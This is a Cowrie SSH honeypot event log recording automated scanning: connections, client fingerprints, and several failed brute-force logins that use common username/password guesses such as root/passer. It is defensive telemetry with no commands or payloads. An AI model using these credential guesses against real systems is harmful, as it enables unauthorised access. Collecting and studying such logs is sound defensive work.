{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37032,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aab1fc7081f","protocol":"ssh","message":"New connection: 8.210.75.243:37032 (10.17.0.5:22) [session: 7aab1fc7081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:09.628746Z"}
{"eventid":"cowrie.session.closed","duration":35.90167546272278,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:16.452224Z","src_ip":"170.64.224.25","session":"2629c346e8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":51124,"dst_ip":"159.203.135.109","dst_port":22,"session":"3587ce605ad8","protocol":"ssh","message":"New connection: 159.65.58.200:51124 (159.203.135.109:22) [session: 3587ce605ad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:19.894705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:20.103235Z","src_ip":"159.65.58.200","session":"3587ce605ad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:20.106433Z","src_ip":"159.65.58.200","session":"3587ce605ad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shipalex","password":"123456","message":"login attempt [shipalex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:20.990696Z","src_ip":"159.65.58.200","session":"3587ce605ad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:22.210058Z","src_ip":"159.65.58.200","session":"3587ce605ad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":40072,"dst_ip":"10.17.0.5","dst_port":22,"session":"54f3d0a35644","protocol":"ssh","message":"New connection: 91.92.40.4:40072 (10.17.0.5:22) [session: 54f3d0a35644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:22.883009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:22.887035Z","src_ip":"91.92.40.4","session":"54f3d0a35644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:22.967858Z","src_ip":"91.92.40.4","session":"54f3d0a35644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123321","message":"login attempt [git/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:23.215976Z","src_ip":"91.92.40.4","session":"54f3d0a35644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:24.299766Z","src_ip":"91.92.40.4","session":"54f3d0a35644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.220.174","src_port":43402,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1744a712a4","protocol":"ssh","message":"New connection: 108.179.220.174:43402 (159.203.135.109:22) [session: 8f1744a712a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:32.627558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:32.633897Z","src_ip":"108.179.220.174","session":"8f1744a712a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:32.658382Z","src_ip":"108.179.220.174","session":"8f1744a712a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"render2024","message":"login attempt [root/render2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:32.733993Z","src_ip":"108.179.220.174","session":"8f1744a712a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:33.761909Z","src_ip":"108.179.220.174","session":"8f1744a712a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":49056,"dst_ip":"10.17.0.5","dst_port":22,"session":"786997916911","protocol":"ssh","message":"New connection: 81.192.46.32:49056 (10.17.0.5:22) [session: 786997916911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:43.497164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:43.501465Z","src_ip":"81.192.46.32","session":"786997916911","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:43.614024Z","src_ip":"81.192.46.32","session":"786997916911","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passer","message":"login attempt [root/passer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:44.098740Z","src_ip":"81.192.46.32","session":"786997916911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:45.213869Z","src_ip":"81.192.46.32","session":"786997916911","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:10:51.993909Z","src_ip":"8.210.75.243","session":"e568f948b3e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":49624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c672721d9bb5","protocol":"ssh","message":"New connection: 103.82.20.28:49624 (159.203.135.109:22) [session: c672721d9bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:00.163371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:00.169958Z","src_ip":"103.82.20.28","session":"c672721d9bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:00.434634Z","src_ip":"103.82.20.28","session":"c672721d9bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111192","message":"login attempt [root/111192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:01.229419Z","src_ip":"103.82.20.28","session":"c672721d9bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:02.496333Z","src_ip":"103.82.20.28","session":"c672721d9bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d25a3f0cd06","protocol":"ssh","message":"New connection: 152.67.46.203:47028 (10.17.0.5:22) [session: 3d25a3f0cd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:11.774528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:11.779699Z","src_ip":"152.67.46.203","session":"3d25a3f0cd06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:11.892759Z","src_ip":"152.67.46.203","session":"3d25a3f0cd06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678Abc","message":"login attempt [ubuntu/12345678Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:12.379781Z","src_ip":"152.67.46.203","session":"3d25a3f0cd06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:13.494892Z","src_ip":"152.67.46.203","session":"3d25a3f0cd06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"105.27.148.94","src_port":59594,"dst_ip":"10.17.0.5","dst_port":22,"session":"c54763832b44","protocol":"ssh","message":"New connection: 105.27.148.94:59594 (10.17.0.5:22) [session: c54763832b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:15.494309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:15.498035Z","src_ip":"105.27.148.94","session":"c54763832b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:15.708707Z","src_ip":"105.27.148.94","session":"c54763832b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server3","message":"login attempt [root/server3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:16.590622Z","src_ip":"105.27.148.94","session":"c54763832b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:17.805228Z","src_ip":"105.27.148.94","session":"c54763832b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:26.331646Z","src_ip":"8.210.75.243","session":"dd2257ecf147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.213.128","src_port":31696,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d6a68c54e96","protocol":"ssh","message":"New connection: 123.58.213.128:31696 (10.17.0.5:22) [session: 5d6a68c54e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:27.407345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:27.412659Z","src_ip":"123.58.213.128","session":"5d6a68c54e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:27.630021Z","src_ip":"123.58.213.128","session":"5d6a68c54e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace@2025","message":"login attempt [dspace/dspace@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:28.516875Z","src_ip":"123.58.213.128","session":"5d6a68c54e96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:29.740928Z","src_ip":"123.58.213.128","session":"5d6a68c54e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":50530,"dst_ip":"10.17.0.5","dst_port":22,"session":"c025b476391d","protocol":"ssh","message":"New connection: 77.94.47.83:50530 (10.17.0.5:22) [session: c025b476391d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.044229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:11:32.050346Z","src_ip":"77.94.47.83","session":"c025b476391d","protocol":"ssh"}
